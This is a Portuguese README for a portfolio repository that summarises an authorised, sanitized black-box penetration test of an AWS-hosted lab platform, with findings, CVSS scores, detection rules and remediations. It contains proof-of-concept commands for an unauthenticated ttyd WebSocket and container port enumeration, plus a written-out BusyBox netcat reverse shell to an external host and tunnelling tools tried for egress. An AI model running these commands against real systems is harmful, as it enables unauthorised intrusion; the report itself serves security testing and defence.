Este repositório contém o modelo higienizado (sanitized) de um relatório técnico de Penetration Test — modalidade Blackbox Assessment — conduzido contra uma instância provisionada em AWS EC2 (região us-east-2), exposta por um reverse proxy Nginx com terminação TLS válida via ZeroSSL.
O objetivo central deste projeto de portfólio não é apenas demonstrar a capacidade de identificar e explorar vulnerabilidades, mas sobretudo evidenciar a maturidade de converter artefatos ofensivos (Red Team) em inteligência preventiva acionável para times de defesa (Blue Team/SOC).
⚠️ Nota de Compliance: Todas as informações sensíveis originais deste engajamento — endereços IP, hostnames, identificadores de sessão e demais dados que pudessem expor a infraestrutura de origem — foram mascaradas de forma estrita neste material de divulgação pública, preservando integralmente a metodologia técnica aplicada.
Com uma bagagem de 10 anos de estudo autodidata em Tecnologia da Informação e certificação prática SYCP — Solyd Certified Professional Pentester, a condução deste engajamento seguiu rigorosamente os pilares que sustentam um Statement of Work (SoW) profissional:
| Pilar | Aplicação no Engajamento |
|---|---|
| NDA (Non-Disclosure Agreement) | Sigilo absoluto sobre o ambiente-alvo, credenciais e evidências brutas coletadas durante o teste. |
| Hold Harmless Clause | Delimitação formal de responsabilidade civil/técnica do consultor em caso de indisponibilidade de serviço decorrente das atividades de teste autorizadas. |
| Escopo Estrito & Termos de Aceite de Risco | Perímetro de testes claramente definido, com exclusão expressa de técnicas destrutivas (DoS/DDoS) e respeito integral à LGPD (Lei 13.709/2018) e ao Marco Civil da Internet (Lei 12.965/2014). |
O engajamento foi estruturado sobre o PTES (Penetration Testing Execution Standard) como espinha dorsal, complementado por:
- OWASP Testing Guide v4 — testes de aplicação web;
- NIST SP 800-115 — referência de processo de avaliação de segurança;
- MITRE ATT&CK Framework — mapeamento de TTPs, com destaque para T1046 (Network Service Scanning).
[ Reconhecimento Ativo ]
│ Nmap (scripts NSE) + Enumeração de endpoints via ffuf/curl
▼
[ Mapeamento de Aplicação ]
│ Identificação do fluxo de provisionamento (POST /create_lab)
│ Mapeamento do wrapper/iframe Docker (/lab/view)
▼
[ Exploração ]
│ Validação de vetores (SSTI, IDOR, WebSocket sem auth)
▼
[ Pós-Exploração ]
│ Análise de filesystem interno, permissões, logs e tokens
▼
[ Tentativas de Persistência/Tunelamento ]
│ Validação de controles de egress do sandbox
▼
[ Documentação & Report Writing ]
| ID | Vulnerabilidade Encontrada | Severidade (CVSS v3.1) | CWE | Status |
|---|---|---|---|---|
| SEC-01 | Terminal Web ttyd sem Autenticação no WebSocket |
🔴 Crítica — 9.8 | CWE-306 | ✅ Confirmado |
| SEC-02 | Ausência de Cookies de Sessão / Controle de Acesso por IP em /lab/view |
🟠 Média — 6.5 | CWE-598 | ✅ Confirmado |
| SEC-03 | IDOR via Identificadores de Container Previsíveis (Portas Incrementais 9000–9003) | 🟠 Média — 5.3 | CWE-639 | ✅ Confirmado |
| SEC-04 | Arquivo de Sessão com Permissão Insegura 777 em /lab/temp/sess_0x9a.dat |
🟠 Média — 5.0 | CWE-732 | ✅ Confirmado |
| SEC-05 | Armazenamento Inseguro de Token em Base64 (/lab/crypto/token.b64) — exposição do setor Sector-Omega |
🟡 Baixa — 4.3 | CWE-312 | ✅ Confirmado |
| SEC-06 | Vazamento de Informação — Erro Crítico ERR-8172 exposto na linha 342 do server.log |
🟡 Baixa — 3.7 | CWE-532 | ✅ Confirmado |
| SEC-07 | Protocolo de Transferência TRZSZ Exposto no JavaScript Minificado do ttyd |
🔵 Informativa — 3.1 | CWE-434 | ✅ Identificado |
| SEC-08 | Tentativas de Server-Side Template Injection (SSTI) via campo de e-mail e headers HTTP | 🔵 Informativa | CWE-94 | 🛡️ Mitigado |
O endpoint /lab/<PORT>/ws expunha um terminal Linux completo via WebSocket sem qualquer mecanismo de autenticação — sem token, sem credencial, sem validação de sessão. O handshake era aceito por qualquer cliente que conhecesse a URL, e as portas eram atribuídas sequencialmente, tornando a enumeração trivial:
# Confirmação do handshake — HTTP 101 Switching Protocols
curl -k -v -H 'Upgrade: websocket' -H 'Connection: Upgrade' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
"https://<ALVO>:8000/lab/<PORT>/ws"
# < HTTP/1.1 101 Switching Protocols
# < Upgrade: WebSocketImpacto: execução arbitrária de comandos como usuário não privilegiado dentro do container Alpine Linux — em cenário real, um vetor de acesso irrestrito e ponto de partida para movimentação lateral.
# PoC — enumeração de portas de container
for port in $(seq 9000 9010); do
status=$(curl -k -s -o /dev/null -w '%{http_code}' \
"https://<ALVO>:8000/lab/$port/")
echo "Porta $port: HTTP $status"
done
# Portas 9000-9003 retornaram HTTP 200 durante testes ativosls -la /lab/temp/ | grep 'rwxrwxrwx'
# -rwxrwxrwx 1 root root 0 Mar 3 20:22 sess_0x9a.datcat /lab/crypto/token.b64 | base64 -d
# Acesso restrito. Setor liberado: Sector-Omega.Base64 não é criptografia — é apenas uma codificação de representação, reversível sem chave ou segredo.
readlink -f /lab/config/active_link
# OUTPUT: /lab/config/config_prod_final.iniCadeia completa: active_link → link_b → link_c → config_prod_final.ini.
# Reverse shell via BusyBox nc
busybox nc <IP_EXTERNO> 4444 -e /bin/sh
# Resultado: timeout — sem rota de saída para IPs externos
# Tunelamento: ngrok, localhost.run, serveo.net, pinggy.io
# Resultado: FALHA em todas as ferramentas testadasCausa raiz identificada:
- Ausência de ferramentas de rede (
ip,ifconfig,ping,netstat); - Bloqueio de rota de saída para IPs externos (egress filtering);
- Bloqueio de acesso ao IMDS da AWS (
169.254.169.254); - BusyBox minimalista, container operando sob uid=1000 — Princípio do Menor Privilégio (PoLP) corretamente aplicado.
- Padrão identificado: milhares de requisições
HTTP 404geradas durante o fuzzing (ffuf), além de payloads de bypass em headers (User-Agent/Referer). - Regra proposta: alerta quando um único IP gerar volume anômalo de
404em janela curta (ex: >50 req/60s).
- IoC comportamental: conexões repetidas a
/wssem token prévio. - Assinatura proposta: bloqueio para múltiplos
HTTP 101do mesmo IP em curto intervalo sem autorização.
| Prioridade | Ação Recomendada |
|---|---|
| 🔴 Alta | Autenticação nativa via --token no ttyd, validada pelo Nginx. |
| 🟠 Média | Cookies HttpOnly, Secure, SameSite=Strict. |
| 🟠 Média | Randomizar portas de containers efêmeros. |
| 🟠 Média | chmod 600 em sessões e logs sensíveis. |
| 🟡 Baixa | Substituir Base64 por HMAC-SHA256. |
| 🔵 Info | Desabilitar TRZSZ (--disable-trzsz) quando não essencial. |
Este projeto sintetiza a capacidade de conduzir um engajamento ofensivo completo — do reconhecimento à pós-exploração — dentro de um arcabouço ético, legal e metodológico sólido, e de traduzir cada achado técnico em recomendações de defesa concretas.
📎 Relatório técnico completo (PDF)